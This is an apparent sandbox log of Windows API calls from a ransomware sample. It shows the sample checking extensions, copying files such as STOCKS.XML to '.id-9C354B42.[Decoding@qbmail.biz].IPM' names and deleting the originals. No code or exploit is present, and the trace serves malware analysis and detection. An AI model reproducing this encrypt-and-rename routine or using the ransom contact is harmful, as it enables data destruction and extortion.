[0089.527] lstrlenW (lpString=".docx") returned 5 [0089.527] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0089.527] lstrlenW (lpString=".pdf") returned 4 [0089.527] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.527] lstrlenW (lpString=".xls") returned 4 [0089.527] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.527] lstrlenW (lpString=".xlsx") returned 5 [0089.527] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0089.527] lstrlenW (lpString=".ppt") returned 4 [0089.527] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.527] lstrlenW (lpString=".zip") returned 4 [0089.527] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.527] lstrlenW (lpString=".rar") returned 4 [0089.527] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.527] lstrlenW (lpString=".bz2") returned 4 [0089.527] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.528] lstrlenW (lpString=".7z") returned 3 [0089.881] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.881] lstrlenW (lpString=".dbf") returned 4 [0089.881] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.881] lstrlenW (lpString=".1cd") returned 4 [0089.881] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.881] lstrlenW (lpString=".jpg") returned 4 [0089.881] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.881] lstrlenW (lpString=".doc") returned 4 [0089.881] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.881] lstrlenW (lpString=".docx") returned 5 [0089.881] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0089.881] lstrlenW (lpString=".pdf") returned 4 [0089.881] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.882] lstrlenW (lpString=".xls") returned 4 [0089.882] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.882] lstrlenW (lpString=".xlsx") returned 5 [0089.882] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0089.882] lstrlenW (lpString=".ppt") returned 4 [0089.882] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.882] lstrlenW (lpString=".zip") returned 4 [0089.882] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.882] lstrlenW (lpString=".rar") returned 4 [0089.882] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.882] lstrlenW (lpString=".bz2") returned 4 [0089.882] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.882] lstrlenW (lpString=".7z") returned 3 [0089.882] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.882] lstrlenW (lpString=".dbf") returned 4 [0089.882] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.882] lstrlenW (lpString=".1cd") returned 4 [0089.882] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.883] lstrlenW (lpString=".jpg") returned 4 [0089.883] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.883] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0089.883] lstrlenW (lpString="STOCKS.XML") returned 10 [0089.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0090.170] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=2687) returned 1 [0090.170] CloseHandle (hObject=0x1d4) returned 1 [0090.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0090.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0090.170] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.170] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0090.171] GetLastError () returned 0x0 [0090.171] ReadFile (in: hFile=0x1d4, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0xa7f, lpOverlapped=0x0) returned 1 [0090.355] WriteFile (in: hFile=0x1f4, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xa80, lpOverlapped=0x0) returned 1 [0090.357] ReadFile (in: hFile=0x1d4, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.357] WriteFile (in: hFile=0x1f4, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0090.358] SetEndOfFile (hFile=0x1f4) returned 1 [0090.358] CloseHandle (hObject=0x1f4) returned 1 [0090.361] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.361] SetEndOfFile (hFile=0x1d4) returned 1 [0090.363] CloseHandle (hObject=0x1d4) returned 1 [0090.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0090.364] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0090.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.364] lstrlenW (lpString=".doc") returned 4 [0090.364] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0090.365] lstrlenW (lpString=".docx") returned 5 [0090.365] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0090.365] lstrlenW (lpString=".pdf") returned 4 [0090.365] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0090.365] lstrlenW (lpString=".xls") returned 4 [0090.365] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0090.365] lstrlenW (lpString=".xlsx") returned 5 [0090.365] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0090.365] lstrlenW (lpString=".ppt") returned 4 [0090.365] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0090.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.365] lstrlenW (lpString=".zip") returned 4 [0090.365] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0090.365] lstrlenW (lpString=".rar") returned 4 [0090.365] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0090.365] lstrlenW (lpString=".bz2") returned 4 [0090.365] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0090.366] lstrlenW (lpString=".7z") returned 3 [0090.366] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0090.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.366] lstrlenW (lpString=".dbf") returned 4 [0090.366] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0090.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.366] lstrlenW (lpString=".1cd") returned 4 [0090.366] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0090.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.366] lstrlenW (lpString=".jpg") returned 4 [0090.366] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0090.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.366] lstrlenW (lpString=".doc") returned 4 [0090.367] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0090.367] lstrlenW (lpString=".docx") returned 5 [0090.367] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0090.367] lstrlenW (lpString=".pdf") returned 4 [0090.367] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0090.367] lstrlenW (lpString=".xls") returned 4 [0090.367] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0090.367] lstrlenW (lpString=".xlsx") returned 5 [0090.367] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0090.367] lstrlenW (lpString=".ppt") returned 4 [0090.367] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0090.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.367] lstrlenW (lpString=".zip") returned 4 [0090.367] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0090.367] lstrlenW (lpString=".rar") returned 4 [0090.367] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0090.367] lstrlenW (lpString=".bz2") returned 4 [0090.367] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0090.368] lstrlenW (lpString=".7z") returned 3 [0090.368] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0090.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.368] lstrlenW (lpString=".dbf") returned 4 [0090.368] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0090.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.368] lstrlenW (lpString=".1cd") returned 4 [0090.368] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0090.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0090.368] lstrlenW (lpString=".jpg") returned 4 [0090.368] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0090.368] lstrcmpiW (lpString1=".htm", lpString2=".IPM") returned -1 [0090.369] lstrlenW (lpString="Bears.htm") returned 9 [0090.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0090.545] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=255) returned 1 [0090.545] CloseHandle (hObject=0x1d4) returned 1 [0090.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0090.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.546] lstrlenW (lpString=".doc") returned 4 [0090.546] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0090.546] lstrlenW (lpString=".docx") returned 5 [0090.546] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0090.546] lstrlenW (lpString=".pdf") returned 4 [0090.546] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0090.546] lstrlenW (lpString=".xls") returned 4 [0090.546] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0090.546] lstrlenW (lpString=".xlsx") returned 5 [0090.546] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0090.546] lstrlenW (lpString=".ppt") returned 4 [0090.546] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0090.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.546] lstrlenW (lpString=".zip") returned 4 [0090.547] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0090.547] lstrlenW (lpString=".rar") returned 4 [0090.547] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0090.547] lstrlenW (lpString=".bz2") returned 4 [0090.547] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0090.547] lstrlenW (lpString=".7z") returned 3 [0090.547] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0090.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.547] lstrlenW (lpString=".dbf") returned 4 [0090.547] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0090.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.547] lstrlenW (lpString=".1cd") returned 4 [0090.547] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0090.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.547] lstrlenW (lpString=".jpg") returned 4 [0090.547] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0090.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.547] lstrlenW (lpString=".doc") returned 4 [0090.547] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0090.547] lstrlenW (lpString=".docx") returned 5 [0090.547] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0090.547] lstrlenW (lpString=".pdf") returned 4 [0090.548] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0090.548] lstrlenW (lpString=".xls") returned 4 [0090.548] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0090.548] lstrlenW (lpString=".xlsx") returned 5 [0090.548] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0090.548] lstrlenW (lpString=".ppt") returned 4 [0090.548] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0090.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.548] lstrlenW (lpString=".zip") returned 4 [0090.548] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0090.548] lstrlenW (lpString=".rar") returned 4 [0090.548] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0090.548] lstrlenW (lpString=".bz2") returned 4 [0090.548] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0090.548] lstrlenW (lpString=".7z") returned 3 [0090.548] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0090.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.548] lstrlenW (lpString=".dbf") returned 4 [0090.548] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0090.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.548] lstrlenW (lpString=".1cd") returned 4 [0090.548] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0090.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0090.549] lstrlenW (lpString=".jpg") returned 4 [0090.549] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0090.549] lstrcmpiW (lpString1=".jpg", lpString2=".IPM") returned 1 [0090.549] lstrlenW (lpString="Bears.jpg") returned 9 [0090.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0090.550] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1074) returned 1 [0090.550] CloseHandle (hObject=0x1d4) returned 1 [0090.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0090.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.550] lstrlenW (lpString=".doc") returned 4 [0090.550] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0090.550] lstrlenW (lpString=".docx") returned 5 [0090.550] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0090.551] lstrlenW (lpString=".pdf") returned 4 [0090.551] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0090.551] lstrlenW (lpString=".xls") returned 4 [0090.551] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0090.551] lstrlenW (lpString=".xlsx") returned 5 [0090.551] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0090.551] lstrlenW (lpString=".ppt") returned 4 [0090.551] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0090.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.551] lstrlenW (lpString=".zip") returned 4 [0090.551] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0090.551] lstrlenW (lpString=".rar") returned 4 [0090.551] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0090.551] lstrlenW (lpString=".bz2") returned 4 [0090.551] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0090.551] lstrlenW (lpString=".7z") returned 3 [0090.551] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0090.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.551] lstrlenW (lpString=".dbf") returned 4 [0090.551] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0090.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.551] lstrlenW (lpString=".1cd") returned 4 [0090.552] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0090.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.552] lstrlenW (lpString=".jpg") returned 4 [0090.552] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0090.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.552] lstrlenW (lpString=".doc") returned 4 [0090.552] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0090.552] lstrlenW (lpString=".docx") returned 5 [0090.552] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0090.552] lstrlenW (lpString=".pdf") returned 4 [0090.552] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0090.552] lstrlenW (lpString=".xls") returned 4 [0090.552] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0090.552] lstrlenW (lpString=".xlsx") returned 5 [0090.552] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0090.552] lstrlenW (lpString=".ppt") returned 4 [0090.552] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0090.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.552] lstrlenW (lpString=".zip") returned 4 [0090.552] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0090.552] lstrlenW (lpString=".rar") returned 4 [0090.552] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0090.553] lstrlenW (lpString=".bz2") returned 4 [0090.553] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0090.553] lstrlenW (lpString=".7z") returned 3 [0090.553] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0090.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.553] lstrlenW (lpString=".dbf") returned 4 [0090.553] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0090.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.553] lstrlenW (lpString=".1cd") returned 4 [0090.553] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0090.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0090.553] lstrlenW (lpString=".jpg") returned 4 [0090.553] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0090.553] lstrcmpiW (lpString1=".jpg", lpString2=".IPM") returned 1 [0090.553] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0090.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0090.593] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=2575) returned 1 [0090.593] CloseHandle (hObject=0x200) returned 1 [0090.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0090.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0090.594] lstrlenW (lpString=".doc") returned 4 [0090.594] 